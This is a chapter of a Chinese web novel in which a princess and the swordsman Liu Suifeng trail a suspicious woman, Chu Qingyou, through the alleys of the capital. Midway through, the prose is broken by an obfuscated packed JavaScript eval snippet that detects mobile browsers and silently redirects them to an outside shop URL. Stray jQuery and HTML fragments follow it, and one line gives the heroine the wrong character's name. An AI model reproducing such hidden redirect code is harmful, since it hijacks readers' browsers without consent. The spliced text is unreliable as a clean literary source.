“自然是因为不想被人发现。”
柳随风语气沉沉。
傅安宁轻哼一声,随即像是突然想到了什么似的,恍然大悟。
“哦!我明白了!看她身上穿的衣服料子不错,定然是哪个落魄了的大户人家的小姐或夫人,家里没了银子,又怕被人知道,所以才偷偷摸摸的跑到这偏僻地方来当东西!免得丢了面子!”
觉得自己分析的十分有道理,楚清优满脸得意,用胳膊撞了撞柳随风。
“怎么样,我说的没错吧?”
柳随风闻言一顿,看着她那张写满了“快夸我”的神色的小脸,有些好笑。
有些人虽然聒噪任性,但心思倒是不算愚钝。
没有回答,他唇角几不可查的弯了一下,算是默认了她的猜测。
就在这时,前方突然又有了动静。
只见方才进去的人低头走了出来,手里似乎多了个小布包。
柳随风反应极快,一把拉住还在兀自得意的傅安宁,迅速闪身躲到了两人身旁一棵光秃秃的粗壮大树后。
“唔!”
傅安宁猝不及防被他拽的一个趔趄,后背撞上粗糙的树干。
再一抬眼,便是男人宽阔的胸膛,入目是一整片雪白的衣衫。
她先前就发现了,柳随风似乎极其喜欢穿白色。
此刻正与她贴的极近,几乎是将她圈在了树干与他身体之间的狭小空间里。
一股清冽独特的幽香萦绕在鼻尖。
傅安宁愣了一下,脸上有些发烫,心跳也莫名快了些。
不自在的扭了扭身子,她下意识想要拉开距离。
却被柳随风按住肩膀,示意她别动。
傅安宁只好屏住呼吸,小心翼翼的探出一点脑袋,朝当铺门口偷看。
恰好——
一阵寒风吹过,掀起了不远处的人面纱一角,露出大半张脸。
傅安宁倏的瞪大了眼睛!
那女人是楚清优?
她急忙回头,想告诉柳随风自己的发现:“那不是……”
话说一半,却戛然而止。
许是因为动作太急,让两人本就贴近的距离在瞬间离得更近。
近到……她能够看清他根根分明的睫毛。
和此刻正专注地盯着前方,映着冬日微光的,漂亮的桃花眼。
“咚!”
尚未平复的心跳又重重在胸膛敲了一下。
傅安宁一时间竟是有些失神。
虽然每次见到眼前的人就没什么好脸,但从见他第一面起,她就觉得……
他长得真的很好看。
皮肤白皙,鼻梁挺直,那双眼睛好像无论何时都是笑着的,嘴唇的弧度……也恰到好处。
要是嘴巴不那么气人就好了。
这个念头莫名的冒出来,傅安宁的目光不由自主的便落在了柳随风的唇上。
颜色淡红,此刻正微微抿着,显得有些严肃。
看着看着,傅安宁便觉得自己的脸颊和耳朵都开始发烫。
心跳也越来越快!!
怎么回事……
她眨眨眼,想着不能再看下去了。
但目光就像被什么吸住了一般,一眨不眨盯着眼前的人。
恰在此时——
楚清优终于走远了些,柳随风收回目光,原本搭在傅安宁肩膀上的手也跟着松开,顺势后退一步,拉开了两人之间过于贴近的距离。
随即低头,见傅安宁还保持着刚才的姿势,眼神却有些发直,脸颊也红扑扑的,不解道:“公主刚才要说什么?”
傅安宁没有反应,还在神游天外。
柳随风更加奇怪,身后在她眼前晃晃:“公主殿下?”
“啊!”
傅安宁猛的回神,像是受惊的兔子一般后跳了一大步,后背差点又撞上树干。
随即像是为了掩饰方才的失态一般,竟是有些怒气冲冲的瞪向柳随风:“你……你方才离本公主那么近做什么!果然是个不知检点的登徒子!”
柳随风:“……”
被她突如其来的倒打一耙弄得无话可说,他揉了揉额角,第一次感到无力。
“公主殿下,您到底知不知道、登徒子”三个字是什么意思?
顿了顿,他还是解释:“方才是形势所迫,为了隐蔽踪迹,不得已而为之,在下原本就打算独自行动,是公主殿下硬要跟上来的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015181|184124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
傅安宁被他一句话噎住,张了张嘴,找不到话反驳,只得悻悻的撇了撇嘴,转移话题问道:“那你……跟踪楚清优做什么?”
柳随风目光闪烁一瞬,没有直接回答,而是反问:“公主不觉得她行踪鬼祟,很是可疑吗?”
傅安宁果然瞬间被带偏了思路,立即便答道:“自然可疑!穿成那副样子,又跑到这么偏远的地方来当东西……”
话音未落,见柳随风已抬脚朝着楚清优离开的方向走去,急忙又跟上去,不解道:“她不是换完钱了吗?我们还跟着她干嘛?”
柳随风意味深长:“自然因为那不是回威远侯府的方向,她应当……还要去别的地方。”
别的地方?
傅安宁眼神一亮,刚才那点别扭瞬间被八卦之心取代,语气里满是兴奋:“她刚换了钱,却不回家,而是去别的地方,该不会是背着谢淮安……还在外面有别的男人吧?”
她脸上恨不得立刻挖出大八卦的表情太过生动,柳随风一个没忍住被逗的笑出了声,桃花眼弯了起来。
“怎么?想看热闹?”
“自然!”
傅安宁毫不犹豫,说罢又一人两人的上下打量柳随风:“别说你不想啊!你们追影阁不就是最爱探听人家的秘密吗!”
“是打探消息。”
“都一样都一样!”
傅安宁已然是有些上头了,嫌他走得慢,干脆直接伸手去扯他的袖口。
“快快快!别跟丢了!你要是带本公主看高兴了,重重有赏!”
柳随风不置可否的挑眉。
刚才还一口一个登徒子,这就有赏了?
这位公主殿下的情绪可真是六月的天,说变就变。
两人不再多言,继续循着楚清优离开的方向跟了上去。
她似乎对京城内这些偏僻的巷道颇为熟悉。
一路走街串巷,竟又来到一处鱼龙混杂,环境嘈杂的坊间。
只见她脚下不停,警惕的四下张望一番后,便闪身走进一处挂着普通布帘,毫不起眼的人家。
“这是什么地方?”
傅安宁蹙着眉头打量:“要不……我回去派人查查这是谁家?”